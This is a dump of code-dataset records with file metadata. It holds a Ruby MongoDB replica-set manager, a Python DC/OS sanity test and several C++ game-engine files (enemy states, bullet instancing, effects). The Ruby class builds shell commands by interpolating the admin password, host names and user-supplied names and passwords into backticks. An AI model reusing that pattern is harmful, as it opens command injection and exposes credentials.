"text": "class MyMongo\n include Singleton\n\n def setup(mongo_path, zk, logger, mongo_password, rs_name = 'rs')\n @mongo_path = mongo_path\n @zk = zk\n @logger = logger\n @mongo_password = mongo_password\n @rs_name = rs_name\n end\n\n # needed to proxying to zk from mongo instance\n def zk\n @zk\n end\n\n def driver\n Mongo::Logger.logger.level = ::Logger::FATAL\n @mongo ||= Mongo::Client.new(server_url, {user: 'admin', password: @mongo_password})\n end\n\n def discovered_servers\n driver.cluster.servers.map(&:address).map(&:to_s)\n end\n\n def rs_status(server = nil)\n # db_eval(server_url, \"rs.status()\")\n status = driver.command({replSetGetStatus: 1}).documents[0]\n if server\n status[:members].select{|m| m[:name] == server}[0]\n else\n status\n end\n end\n\n def rs_config\n driver.command({replSetGetConfig: 1}).documents[0][:config]\n end\n\n def rs_reconfig(config)\n config[:version] += 1\n driver.command({replSetReconfig: config})\n end\n\n def forcemaster(server)\n config = rs_config\n config[:members].select{|m| m[:host] == server}[0][:priority] = 1\n config[:members].select{|m| m[:host] != server}.each {|s| s[:priority] = 0.5}\n rs_reconfig(config)\n end\n\n def reset_priority\n config = rs_config\n config[:members].each {|s| s[:priority] = 1}\n rs_reconfig(config)\n end\n\n def member_priority(server)\n rs_config[:members].select{|m| m[:host] == server}[0][:priority]\n end\n\n def remove(server)\n config = rs_config\n config[:members] = config[:members].select{|m| m[:host] != server}\n rs_reconfig(config)\n end\n\n def optime_lag(server)\n status = rs_status\n server_status = status[:members].select{|m| m[:name] == server}[0]\n if server_status[:state] == 1\n return 0\n elsif server_status[:state] == 2\n master_status = status[:members].select{|m| m[:state] == 1}[0]\n # breaks 3.2.x\n # return status[:optimes][:lastCommittedOpTime][:ts].seconds - server_status[:optime][:ts].seconds\n return master_status[:optime][:ts].seconds - server_status[:optime][:ts].seconds\n end\n end\n\n def master_status\n # db_eval(server_url, \"rs.isMaster()\")\n JSON.pretty_generate(driver.cluster.next_primary.description.config)\n end\n\n def init_replicaset(server_list)\n if server_list.empty?\n @logger.warn(\"No servers found for RS initialization, waiting for one\")\n else\n master = server_list.shift\n\n @logger.info(\"Initializing rs on\", { host: master})\n rs_initiate(master)\n sleep 10\n add_to_replicaset(server_list) unless server_list.empty?\n end\n end\n\n def add_to_replicaset(server_list)\n if server_list.empty?\n @logger.debug(\"State is not changed, nothing to do\")\n else\n server_list.each do |server|\n @logger.info(\"Adding host to rs\", { host: server })\n rs_add(server)\n sleep 10\n end\n end\n end\n\n def remove_from_replicaset(server_list)\n if server_list.empty?\n @logger.info(\"State is not changed, nothing to do\")\n else\n server_list.each do |server|\n @logger.info(\"Removing host from rs\", { master: master, host: server })\n rs_remove(server)\n end\n end\n end\n\n # private\n\n def server_url(server: nil, db: 'admin', format: 'mongo')\n if server\n \"mongodb://#{server}/#{db}\"\n elsif format == 'mongo'\n \"mongodb://#{@zk.available_servers.join(',')}/#{db}?replicaSet=#{@rs_name}\"\n else\n \"#{@rs_name}/#{@zk.available_servers.join(',')}\"\n end\n end\n\n def db_eval(host_url, expression)\n `#{@mongo_path}/mongo #{host_url} -u admin -p #{@mongo_password} --quiet --eval 'JSON.stringify(#{expression})'`.split(/\\n+/).last\n end\n\n def rs_initiate(host)\n config = %{var cfg = {_id:\"#{@rs_name}\", \"members\":[{_id:0, \"host\":\"#{host}\"}]}; printjson(rs.initiate(cfg));}\n\n @logger.info(\"RS init config:\", config: config)\n reply = JSON.parse `#{@mongo_path}/mongo #{server_url(server: host)} -u admin -p #{@mongo_password} --quiet --eval '#{config}'`\n if reply[\"ok\"] == 1\n @logger.info(\"Replica set initilized on host\", host: host)\n @zk.set_initiated\n @zk.persist_member(host)\n else\n @logger.error(\"Can't add host to replicaset\", error: reply)\n end\n end\n\n def rs_add(host)\n reply = db_eval(server_url, %{rs.add(\"#{host}\")})\n @logger.warn(\"RS added\", reply: reply)\n @zk.persist_member(host)\n end\n\n def rs_remove(host)\n db_eval(server_url, %{rs.remove(\"#{host}\")})\n @zk.remove_member(host)\n end\n\n def add_user(db, name, password, read_only = false)\n # begin\n # driver.command({createUser: \"#{name}\", pwd: \"#{password}\", roles: [{role: \"readWrite\", db: \"#{db}\"}]})\n # rescue Exception => e\n # e\n # end\n role = read_only ? \"read\" : \"readWrite\"\n\n db_eval(server_url, %{db.getSiblingDB(\"#{db}\").createUser({user: \"#{name}\", pwd: \"#{password}\", roles: [{role: \"#{role}\", db: \"#{db}\"}]})})\n end\n\n def backup(db_name = nil)\n time_now = Time.now.strftime(\"%Y%m%d%H%M%S\")\n if db_name\n filename = \"#{db_name}-#{time_now}\"\n else\n filename = \"full-#{time_now}\"\n end\n secondaries = driver.cluster.servers.select{|s| s.secondary?}.map{|s| s.address.to_s}.join(',')\n @logger.info(\"Backing up to\", file: filename, secondaries: secondaries)\n if db_name\n # dump only specified database\n output = `#{@mongo_path}/mongodump -h #{secondaries} --dumpDbUsersAndRoles -d #{db_name} --authenticationDatabase admin -u admin -p #{@mongo_password} -o #{filename} 2>&1`\n else\n # perform a full backup\n output = `#{@mongo_path}/mongodump -h #{secondaries} --authenticationDatabase admin -u admin -p #{@mongo_password} --oplog -o #{filename} 2>&1`\n end\n [filename, $?.success?, output]\n end\n\n def restore(backup_directory, db_name = nil)\n if db_name\n output = `#{@mongo_path}/mongorestore -h #{server_url(format: 'cmd')} --authenticationDatabase admin -u admin -p #{@mongo_password} --drop --db #{db_name} #{backup_directory} 2>&1`\n else\n output = `#{@mongo_path}/mongorestore -h #{server_url(format: 'cmd')} --authenticationDatabase admin -u admin -p #{@mongo_password} --drop --oplogReplay #{backup_directory} 2>&1`\n end\n [$?.success?, output]\n end\nend\n"
},
{
"alpha_fraction": 0.5769459009170532,
"alphanum_fraction": 0.578134298324585,
"avg_line_length": 22.36805534362793,
"blob_id": "a488fb5bfe3ffb3ff7760d0460781731ebe1f957",
"content_id": "0821185e0e9aa0f1bdf306131ca23bbd7545f2a5",
"detected_licenses": [
"Apache-2.0",
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3366,
"license_type": "permissive",
"max_line_length": 71,
"num_lines": 144,
"path": "/frameworks/mongodb-sidecar/integration/tests/test_sanity.py",
"repo_name": "comptelfwd/dcos-commons",
"src_encoding": "UTF-8",
"text": "import dcos.http\nimport pytest\nimport shakedown\n\nfrom tests.test_utils import (\n DEFAULT_TASK_COUNT,\n PACKAGE_NAME,\n check_health,\n get_marathon_config,\n get_deployment_plan,\n install,\n marathon_api_url,\n request,\n uninstall,\n spin\n)\n\n\ndef setup_module(module):\n uninstall()\n\n install()\n\n check_health()\n\n\ndef teardown_module(module):\n uninstall()\n\n\[email protected]\ndef test_install_worked():\n pass\n\n\[email protected]\ndef test_bump_hello_cpus():\n check_health()\n hello_ids = get_task_ids('hello')\n print('hello ids: ' + str(hello_ids))\n\n world_ids = get_task_ids('world')\n print('world ids: ' + str(world_ids))\n\n config = get_marathon_config()\n cpus = float(config['env']['HELLO_CPUS'])\n config['env']['HELLO_CPUS'] = str(cpus + 0.1)\n r = request(\n dcos.http.put,\n marathon_api_url('apps/' + PACKAGE_NAME),\n json=config)\n\n tasks_updated('hello', hello_ids)\n tasks_not_updated('world', world_ids)\n\n check_health()\n\n\[email protected]\ndef test_bump_world_nodes():\n check_health()\n\n hello_ids = get_task_ids('hello')\n print('hello ids: ' + str(hello_ids))\n\n world_ids = get_task_ids('world')\n print('world ids: ' + str(world_ids))\n\n config = get_marathon_config()\n worldNodeCount = int(config['env']['WORLD_COUNT']) + 1\n config['env']['WORLD_COUNT'] = str(worldNodeCount)\n r = request(\n dcos.http.put,\n marathon_api_url('apps/' + PACKAGE_NAME),\n json=config)\n\n check_health(DEFAULT_TASK_COUNT + 1)\n tasks_not_updated('hello', hello_ids)\n tasks_not_updated('world', world_ids)\n\n\ndef get_task_ids(prefix):\n tasks = shakedown.get_service_tasks(PACKAGE_NAME)\n prefixed_tasks = [t for t in tasks if t['name'].startswith(prefix)]\n task_ids = [t['id'] for t in prefixed_tasks]\n return task_ids\n\n\ndef tasks_updated(prefix, old_task_ids):\n def fn():\n try:\n return get_task_ids(prefix)\n except dcos.errors.DCOSHTTPException:\n return []\n\n def success_predicate(task_ids):\n print('Old task ids: ' + str(old_task_ids))\n print('New task ids: ' + str(task_ids))\n success = True\n\n for id in task_ids:\n print('Checking ' + id)\n if id in old_task_ids:\n success = False\n\n if not len(task_ids) >= len(old_task_ids):\n success = False\n\n print('Waiting for update to ' + prefix)\n return (\n success,\n 'Task type:' + prefix + ' not updated'\n )\n\n return spin(fn, success_predicate)\n\n\ndef tasks_not_updated(prefix, old_task_ids):\n def fn():\n try:\n return get_task_ids(prefix)\n except dcos.errors.DCOSHTTPException:\n return []\n\n def success_predicate(task_ids):\n print('Old task ids: ' + str(old_task_ids))\n print('New task ids: ' + str(task_ids))\n success = True\n\n for id in old_task_ids:\n print('Checking ' + id)\n if id not in task_ids:\n success = False\n\n if not len(task_ids) >= len(old_task_ids):\n success = False\n\n print('Determining no update occurred for ' + prefix)\n return (\n success,\n 'Task type:' + prefix + ' not updated'\n )\n\n return spin(fn, success_predicate)\n\n"
}
] | 14 |
kokoasann/UsualEngineR | https://github.com/kokoasann/UsualEngineR | dd6606f72b719ea1e3d684bde59af90f2a981280 | cf803f96c3520bd485282c680be29f5248737b26 | 155e12d1b6e8cacd27d8bd773b592876d8cd9829 | refs/heads/master | 2023-03-07T12:18:52.795038 | 2021-02-25T17:21:59 | 2021-02-25T17:21:59 | 291,441,353 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.5991649031639099,
"alphanum_fraction": 0.5991649031639099,
"avg_line_length": 14.222222328186035,
"blob_id": "a63a468ac3487f79cdff50db6125167a597b6aa9",
"content_id": "fda850e19d2b6e5a13f3134ac05f9acce70b1d57",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1060,
"license_type": "no_license",
"max_line_length": 43,
"num_lines": 63,
"path": "/UsualEngineR/Debug/Debug.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#pragma once\n#include \"DebugLog.h\"\n\nnamespace UER\n{\n\t/// <summary>\n\t/// シングルトン\n\t/// デバッグ用のクラス\n\t/// </summary>\n\tclass Debug\n\t{\n\t\tDebug(){}\n\tpublic:\n\t\t~Debug(){}\n\t\tstatic Debug& Instance()\n\t\t{\n\t\t\tstatic Debug ins;\n\t\t\treturn ins;\n\t\t}\n\t\t/// <summary>\n\t\t/// debugSwitchの初期化。\n\t\t/// </summary>\n\t\tvoid InitDebugSwitch();\n\t\tstruct DebugState\n\t\t{\n\t\t\tbool isPhysicsDebugDraw = false;\n\t\t};\n\t\tDebugState debugState;\n\t\tenum GBufferDraw\n\t\t{\n\t\t\tgdDefault,\n\t\t\tgdDiffuse,\n\t\t\tgdNormal,\n\t\t\tgdDepth,\n\t\t\tgdShadow,\n\t\t\tgdSpecular,\n\t\t};\n\t\tGBufferDraw gbufferDraw = gdDefault;\n\n\t\t/// <summary>\n\t\t/// DebugLogに表示する文字を入力。\n\t\t/// </summary>\n\t\t/// <param name=\"str\"></param>\n\t\tvoid DebugPrint(const wchar_t* str);\n\t\t/// <summary>\n\t\t/// ログの描画。\n\t\t/// </summary>\n\t\tvoid DrawLog();\n\tprivate:\n\t\tDebugLog m_log;\t\t//デバッグログ\n\t};\n\t/// <summary>\n\t/// デバッグプリント\n\t/// </summary>\n\t/// <param name=\"str\"></param>\n\tstatic void DebugPrint(const wchar_t* str)\n\t{\n\t\tDebug::Instance().DebugPrint(str);\n\t}\n\n\n\t\n}"
},
{
"alpha_fraction": 0.6971962451934814,
"alphanum_fraction": 0.7037383317947388,
"avg_line_length": 21.787233352661133,
"blob_id": "7647c0150ec04c38ee4f66a476f6c6b2d5e45444",
"content_id": "81c19c99ac9773395cc1ab9be1c11afb22049df7",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1070,
"license_type": "no_license",
"max_line_length": 85,
"num_lines": 47,
"path": "/Game/Enemy/State/MeleeBossState/EnemyMeleeDeadState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"EnemyMeleeDeadState.h\"\n#include \"../../EnemyManager.h\"\n#include \"../../IEnemy.h\"\n#include \"../../../Player/Player.h\"\n#include \"../../Drop/DropItemA.h\"\n#include \"GameManager.h\"\n#include \"Game.h\"\n#include \"Enemy/BossBGM.h\"\n\nEnemyMeleeDeadState::EnemyMeleeDeadState() {\n\n}\n\nEnemyMeleeDeadState::~EnemyMeleeDeadState() {\n}\n\nvoid EnemyMeleeDeadState::Enter(IEnemy* e) {\n\n#ifdef _PRINT_ENEMY_STATE\n\tDebugPrint_WATA(\"Enter enemy melee dead\\n\");\n#endif\n\n\tGameManager::GetInstance().m_bgm->SetInBattleFlag(IEnemy::EnBossType::Melee, false);\n\n\tm_pos = e->GetPosition();\n\t//m_pos.y += 15.f;\n\n\tif (!m_isPerformed) {\n\t\te->GetModel()->SetMulColor({ 20,1,1,1 });\n\t\tGameManager::GetInstance().m_gameScene->OnEnemyDied(e);\n\t\tm_isPerformed = true;\n\t}\n\n\t//GameObject* enemy = reinterpret_cast<GameObject*>(e);\n\t//EnemyManager::GetEnemyManager().DestroyEnemy(e);\n}\n\nIEnemyState* EnemyMeleeDeadState::Update(IEnemy* e) {\n\treturn this;\n}\n\nvoid EnemyMeleeDeadState::Exit(IEnemy* e) {\n#ifdef _PRINT_ENEMY_STATE\n\tDebugPrint_WATA(\"Exit enemy melee dead\\n\");\n#endif\n}"
},
{
"alpha_fraction": 0.6240084767341614,
"alphanum_fraction": 0.6557376980781555,
"avg_line_length": 18.494844436645508,
"blob_id": "f81f9c364f840bdcbffe3453d922a36a2f247124",
"content_id": "d1baf524d572bb1c5ef52d29b1f2ffec7f681f04",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2297,
"license_type": "no_license",
"max_line_length": 59,
"num_lines": 97,
"path": "/Game/Effect/MuzzleFlash.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"Effect/ParticleEffect.h\"\n\n\nstruct MuzzleFlashEffectInitData\n{\n\tfloat particleLifeTime = 0.07f;\n\tfloat particleScale = 1.f;\n\tVector4 particleColor = { 4.f,2.f,0.4f,1.f };\n\tVector4 particleEndColor = { 0.5f,0.25f,0.05f,0.f };\n\n\tint circleNum = 4;\t\t\t\t\t//円のパーティクルの数.\n\tint circleStrokeNum = 10;\t\t\t//縦の伸びのパーティクルの数。多ければ多いほど長く伸びる.\n\tfloat circleSize = 0.1f;\t\t\t//円の大きさ.\n\tVector3 velocity = { 1.f,5.f,0.f };\t//xがへの広がり、yが縦へ.\n};\n/// <summary>\n/// \n/// </summary>\nclass MuzzleFlash :public GameObject\n{\npublic:\n\t\n\n\tMuzzleFlash();\n\tvirtual ~MuzzleFlash();\n\n\t/// <summary>\n\t/// 本開放。確保したものを開放するための関数。\n\t/// </summary>\n\tvirtual void Release() override;\n\n\t/// <summary>\n\t/// このオブジェクトの所持するゲームオブジェクト等を消すための関数。\n\t/// 面倒くさければRelease関数と同じでもよい。\n\t/// </summary>\n\tvirtual void OnDestroy() override;\n\n\n\tvoid Init(const MuzzleFlashEffectInitData& mfid);\n\n\t/// <summary>\n\t/// NewGO時に即座に呼ばれる関数。\n\t/// コンストラクタの代わりに使おう。\n\t/// </summary>\n\tvoid Awake() override;\n\n\t/// <summary>\n\t/// スタート関数。\n\t/// </summary>\n\t/// <returns>trueを返さない限り、ずっとStartを呼び続ける</returns>\n\tbool Start() override;\n\n\t/// <summary>\n\t/// 更新。の前に呼ばれる更新。\n\t/// </summary>\n\tvoid PreUpdate() override;\n\t/// <summary>\n\t/// 更新。\n\t/// </summary>\n\tvoid Update() override;\n\t/// <summary>\n\t/// 更新。の後に呼ばれる更新。\n\t/// </summary>\n\tvoid PostUpdate() override;\n\n\tvoid Play();\n\n\tvoid Stop();\n\n\tvoid SetPos(const Vector3& pos)\n\t{\n\t\tm_effect->SetPos(pos);\n\t}\n\tvoid SetRot(const Quaternion& rot)\n\t{\n\t\tm_effect->SetRot(rot);\n\t}\n\tvoid SetSca(const Vector3& sca)\n\t{\n\t\tm_effect->SetSca(sca);\n\t}\nprivate:\n\tPlaneParticleEffectRender* m_effect = nullptr;\n\n\tfloat m_particleLifeTime = 0.07f;\n\tfloat m_particleScale = 1.f;\n\tVector4 m_particleColor = { 2.f,1.f,0.4f,1.f };\n\tVector4 m_particleEndColor = { 0.5f,0.25f,0.05f,0.f };\n\n\tint m_circleNum = 4;\n\tint m_circleStrokeNum = 10;\n\tfloat m_circleSize = 0.1f;\n\tVector3 m_velocity = { 1.f,5.f,0.f };\n\n\tbool m_isPlay = false;\n};\n"
},
{
"alpha_fraction": 0.6415178775787354,
"alphanum_fraction": 0.6502976417541504,
"avg_line_length": 18.090909957885742,
"blob_id": "e1fcba4ec2dba733c2271f1bf02618c9cc19be0d",
"content_id": "5232a256639d7cd2cda427610dfd2fbafd156d14",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 6774,
"license_type": "no_license",
"max_line_length": 125,
"num_lines": 352,
"path": "/Game/Enemy/Equipment/Enemy_Bullet.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"stdafx.h\"\n#include \"Enemy_Bullet.h\"\n\n#include \"GameManager.h\"\n#include \"Player/Player.h\"\n\n#include \"Effect/Ballistic.h\"\n\nEnemyBulletManager* g_enemyBulletManager = 0;\n\nstruct SweepResult : public btCollisionWorld::ConvexResultCallback\n{\n\tbool isHit = false;\n\tVector3 hitPos = Vector3::Zero;\n\tconst Vector3& startPos;\n\tfloat dist = FLT_MAX;\n\tint collAttr = enCollisionAttr_None;\n\n\tSweepResult(const Vector3& v) :\n\t\tstartPos(v)\n\t{\n\n\t}\n\n\tbtScalar\taddSingleResult(btCollisionWorld::LocalConvexResult& convexResult, bool normalInWorldSpace)\n\t{\n\t\tint index = convexResult.m_hitCollisionObject->getUserIndex();\n\t\t//キャラコンでもグラウンドでもない場合早期出社。\n\t\tif (!(index & enCollisionAttr_Character\n\t\t\t|| index & enCollisionAttr_Ground))\n\t\t{\n\t\t\treturn 0.f;\n\t\t}\n\n\t\tisHit = true;\n\t\tVector3 hitp = *(Vector3*)&convexResult.m_hitPointLocal;\n\t\tVector3 div = startPos - hitp;\n\t\tfloat dis = div.Length();\n\t\tif (dis < dist)\n\t\t{\n\t\t\thitPos = *(Vector3*)&convexResult.m_hitPointLocal;\n\t\t\tdist = dis;\n\t\t\tcollAttr = index;\n\t\t}\n\t\treturn 0.0f;\n\t}\n};\n\n\nEnemy_Bullet::Enemy_Bullet()\n{\n\t/*ModelInitData mid;\n\tmid.m_tkmFilePath = \"Assets/modelData/test/test_criss.tkm\";\n\tmid.m_upAxis = EUpAxis::enUpAxisY;\n\tmid.m_vsfxFilePath = \"Assets/shader/NoAnimModel.fx\";\n\tmid.m_vsEntryPointFunc = \"VSMain\";\n\tmid.m_psEntryPointFunc = \"PSMain\";\n\n\tm_model = NewGO<ModelRender>(0);\n\tm_model->Init(mid);*/\n\n\t/*m_effect = NewGO<Ballistic>(0);\n\tm_effect->Init();*/\n\t\n\t//m_model->SetPosition(pos);\n\t//m_model->SetRotation(rot);\n\n\t//m_sphere.Create(scale * 0.5);\n}\n\nEnemy_Bullet::~Enemy_Bullet()\n{\n\n}\n\n\n\nvoid Enemy_Bullet::Release()\n{\n\t//DeleteGO(m_model);\n}\n\nvoid Enemy_Bullet::OnDestroy()\n{\n\t//Release();\n\tm_sphere.Release();\n\t//m_model->SetActive(false);\n\tg_enemyBulletManager->DeadInstance(m_instanceNum);\n\t//m_effect->Stop();\n}\n\nvoid Enemy_Bullet::Init(const Vector3& pos, float scale, const Vector3& dir, float speed, float timeLimit, float attackRenge)\n{\n\tm_dir = dir;\n\tm_speed = speed;\n\tm_scale = scale;\n\tm_timeLimit = timeLimit;\n\tm_attackRange = attackRenge;\n\n\tQuaternion rot;\n\trot.SetRotation(Vector3::AxisZ * -1.f, m_dir);\n\n\tauto pair = g_enemyBulletManager->GetInstanceMatrix();\n\tm_instanceNum = pair.first;\n\tm_worldMatrix = pair.second;\n\n\tm_pos = pos;\n\tm_sca = Vector3::One * scale;\n\tm_rot = rot;\n\n\tm_worldMatrix->MakeTransform(m_pos, m_sca, m_rot);\n\n\t/*m_model->SetActive(true);\n\tm_model->SetPosition(pos);\n\tm_model->SetRotation(rot);\n\tm_model->SetScale(Vector3::One * m_scale);*/\n\n\tm_sphere.Create(scale * 0.5);\n\n\tm_timer = 0.f;\n\n\trot.SetRotation(Vector3::AxisY, m_dir*-1.f);\n\t/*m_effect->SetRot(rot);\n\tm_effect->SetPos(pos);\n\tm_effect->Play();*/\n}\n\n\nvoid Enemy_Bullet::Awake()\n{\n\n}\n\nbool Enemy_Bullet::Start()\n{\n\treturn true;\n}\n\n\nvoid Enemy_Bullet::PreUpdate()\n{\n\t\n}\n\nvoid Enemy_Bullet::Update()\n{\n\tfloat dtime = gameTime()->GetDeltaTime();\n\n\tm_timer += dtime;\n\n\t//Vector3 oldpos = m_model->GetPosition();\n\tVector3 oldpos = m_pos;\n\tVector3 newpos = oldpos + m_dir * (m_speed * dtime);\n\n\t//m_effect->SetPos(newpos);\n\n\tbtTransform start, end;\n\tstart.setIdentity();\n\tend.setIdentity();\n\tstart.setOrigin({ oldpos.x, oldpos.y, oldpos.z });\n\tend.setOrigin({ newpos.x, newpos.y, newpos.z });\n\tSweepResult sr(oldpos);\n\tPhysics().ConvexSweepTest(m_sphere.GetBody(), start, end, sr);\n\t\n\tif (sr.isHit)\n\t{\n\t\tif (sr.collAttr & GameCollisionAttribute::Player)\n\t\t{\n\t\t\tauto& gm = GameManager::GetInstance();\n\n\t\t\tgm.m_player->ApplyDamage(m_damage, m_isStunFlag, m_vel);\n\t\t}\n\t\telse if (sr.collAttr & GameCollisionAttribute::Enemy)\n\t\t{\n\n\t\t}\n\t\telse\n\t\t{\n\t\t\t\n\t\t}\n\t\tauto pthis = this;\n\t\tDeleteGO(pthis);\n\t\treturn;\n\t}\n\tif (m_timer >= m_timeLimit)\n\t{\n\t\tauto pthis = this;\n\t\tDeleteGO(pthis);\n\t\treturn;\n\t}\n\n\t//m_model->SetPosition(newpos);\n\tm_pos = newpos;\n\n\tm_worldMatrix->SetTranspose(m_pos);\n}\n\nvoid Enemy_Bullet::PostUpdate()\n{\n\n}\n\n\n/*/////////////////////////////////////////////////////////////////////\n\nこっからEnemyBulletManager\n\n/////////////////////////////////////////////////////////////////////*/\n\nEnemyBulletManager* EnemyBulletManager::GetInstance()\n{\n\t{\n\t\tif (g_enemyBulletManager == nullptr)\n\t\t{\n\t\t\treturn NewGO<EnemyBulletManager>(0);\n\t\t}\n\t\treturn g_enemyBulletManager;\n\t}\n}\n\nvoid EnemyBulletManager::Release()\n{\n}\n\nvoid EnemyBulletManager::OnDestroy()\n{\n\tRelease();\n}\n\nvoid EnemyBulletManager::Awake()\n{\n\tm_structuredBuff.Init(sizeof(Matrix), 1024,0);\n\tModelInitData mid;\n\tmid.m_tkmFilePath = \"Assets/modelData/bullet/bullet.tkm\";\n\tmid.m_upAxis = EUpAxis::enUpAxisY;\n\tmid.m_vsfxFilePath = \"Assets/shader/NoAnimInstancingModel.fx\";\n\tmid.m_vsEntryPointFunc = \"VSMain\";\n\tmid.m_psEntryPointFunc = \"PSMain\";\n\tmid.m_expandShaderResoruceView = &m_structuredBuff;\n\n\tm_model = NewGO<ModelRender>(0);\n\tm_model->Init(mid);\n\n\tm_model->SetInstancingFrag(true);\n\tg_enemyBulletManager = this;\n\n\tm_instanceMatrix.resize(1024);\n\tm_usingMatrix.resize(1024);\n\tfor (int i=0;i<m_usingMatrix.size();i++)\n\t{\n\t\tm_usingMatrix[i] = false;\n\t}\n}\n\nvoid EnemyBulletManager::PostUpdate()\n{\n\tint activeNum = 0;\n\tfor (auto b : m_bulletList)\n\t{\n\t\tif (!b->IsDead())\n\t\t{\n\t\t\tactiveNum++;\n\t\t}\n\t}\n\tif ((m_bulletList.size() - activeNum) <= m_nextAllocateActiveNum && m_thread.IsEnd())\n\t{\n\t\tAllocate(m_allocElementNum);\n\t}\n\n\t/*if (m_isAllocate && m_thread.IsEnd())\n\t{\n\t\tfor (int i = m_oldNum; i < m_bulletList.size(); i++)\n\t\t{\n\t\t\tDeleteGO(m_bulletList[i]);\n\t\t}\n\t\tm_isAllocate = false;\n\t}*/\n\n\tstd::vector<Matrix> v;\n\t\n\tint c = 0;\n\tfor (bool b : m_usingMatrix)\n\t{\n\t\tif (b)\n\t\t\tc++;\n\t}\n\tv.reserve(1024);\n\tfor (int i = 0; i < m_instanceMatrix.size(); i++)\n\t{\n\t\tif (m_usingMatrix[i])\n\t\t{\n\t\t\tv.push_back(m_instanceMatrix[i]);\n\t\t}\n\t}\n\tif (c == 0)\n\t\tv.push_back(Matrix::Identity);\n\t\n\tm_structuredBuff.Update(&v[0]);\n\tm_model->SetInstanceNum(c);\n}\n\nvoid EnemyBulletManager::Allocate(int num)\n{\n\t//m_mutex.lock();\n\t//m_isAllocate = true;\n\t//m_oldNum = m_bulletList.size();\n\t//m_thread.Release();\n\n\t//\n\t//m_thread.Execute([&,num]()\n\t//\t{\n\t//\t\t//AllocateGO(num, 0, m_bulletList);\n\t//\t\t/*m_instanceMatrix.resize(m_instanceMatrix.size()+num);\n\t//\t\tint back = m_usingMatrix.size();\n\t//\t\tm_usingMatrix.resize(m_usingMatrix.size() + num);\n\t//\t\t\n\t//\t\tfor (int i = back; i < m_usingMatrix.size(); i++)\n\t//\t\t{\n\t//\t\t\tm_usingMatrix[i] = false;\n\t//\t\t}*/\n\t//\t});\n\n\t//m_mutex.unlock();\n\t//\n}\n\nstd::pair<int, Matrix*> EnemyBulletManager::GetInstanceMatrix()\n{\n\t\n\tfor (int i = 0; i < m_instanceMatrix.size(); i++)\n\t{\n\t\tif (!m_usingMatrix[i])\n\t\t{\n\t\t\tm_usingMatrix[i] = true;\n\t\t\treturn std::make_pair(i,&m_instanceMatrix[i]);\n\t\t}\n\t}\n\t\n\tm_usingMatrix.push_back(true);\n\tm_instanceMatrix.push_back(Matrix::Identity);\n\n\treturn std::make_pair(m_instanceMatrix.size()-1, &m_instanceMatrix[m_instanceMatrix.size() - 1]);\n}\n\nvoid EnemyBulletManager::AddInstance()\n{\n}\n\nvoid EnemyBulletManager::DeadInstance(int num)\n{\n\tm_usingMatrix[num] = false;\n}\n"
},
{
"alpha_fraction": 0.6577540040016174,
"alphanum_fraction": 0.6631016135215759,
"avg_line_length": 16.27692222595215,
"blob_id": "6e3b094aefd4f4839e56356fbf8092733e6452fb",
"content_id": "08eb8653b07caa74f0e6c002c8d92ab503203d9b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1172,
"license_type": "no_license",
"max_line_length": 52,
"num_lines": 65,
"path": "/UsualEngineR/Graphics/Primitive.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#pragma once\n\n#include \"VertexBuffer.h\"\n#include \"IndexBuffer.h\"\n\n\nnamespace UER\n{\n\tclass Primitive\n\t{\n\tpublic:\n\t\tenum EIndexType\n\t\t{\n\t\t\tit_2byte = 2,\n\t\t\tit_4byte = 4,\n\t\t};\n\t\tPrimitive() {}\n\t\t~Primitive() { Release(); }\n\n\t\tvoid Release();\n\n\t\tbool Cteate\n\t\t(\n\t\t\tD3D_PRIMITIVE_TOPOLOGY topo,\n\t\t\tint vertexNum,\n\t\t\tint stride,\n\t\t\tconst void* vertexData,\n\t\t\tint indexNum,\n\t\t\tEIndexType indexType,\n\t\t\tconst void* indexData\n\t\t);\n\n\t\tVertexBuffer& GetVertexBuffer()\n\t\t{\n\t\t\treturn m_vertexBuffer;\n\t\t}\n\t\tIndexBuffer& GetIndexBuffer()\n\t\t{\n\t\t\treturn m_indexBuffer;\n\t\t}\n\n\t\tint GetIndexCount() const\n\t\t{\n\t\t\treturn m_indexBuffer.GetCount();\n\t\t}\n\n\t\t/// <summary>\n\t\t/// vertexBufferとindexBuffer\n\t\t/// Topologyの情報を送る\n\t\t/// </summary>\n\t\t/// <param name=\"rc\"></param>\n\t\t/// <returns>indexBufferの数</returns>\n\t\tint SendData(RenderContext& rc);\n\t\tvoid Draw(RenderContext& rc, int vertexnum) const;\n\t\tvoid Draw(RenderContext& rc) const;\n\tprivate:\n\t\t\n\t\t//void Draw(RenderContext* dc, int vertexnum);\n\tprivate:\n\t\tVertexBuffer m_vertexBuffer;\t\t//頂点バッファ\n\t\tIndexBuffer m_indexBuffer;\t\t//インデックスバッファ\n\n\t\tD3D_PRIMITIVE_TOPOLOGY m_topology; //topology\n\t};\n}"
},
{
"alpha_fraction": 0.7003058195114136,
"alphanum_fraction": 0.7217125296592712,
"avg_line_length": 21.744186401367188,
"blob_id": "ffbd1121c2770c8516d4c32a1786836fd0ee480a",
"content_id": "dca91288cf000f9bf019aabf1ed1a30c2919d13b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 981,
"license_type": "no_license",
"max_line_length": 60,
"num_lines": 43,
"path": "/Game/Player/Attack/ExplosivePreset/PlayerAttackExplosion.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
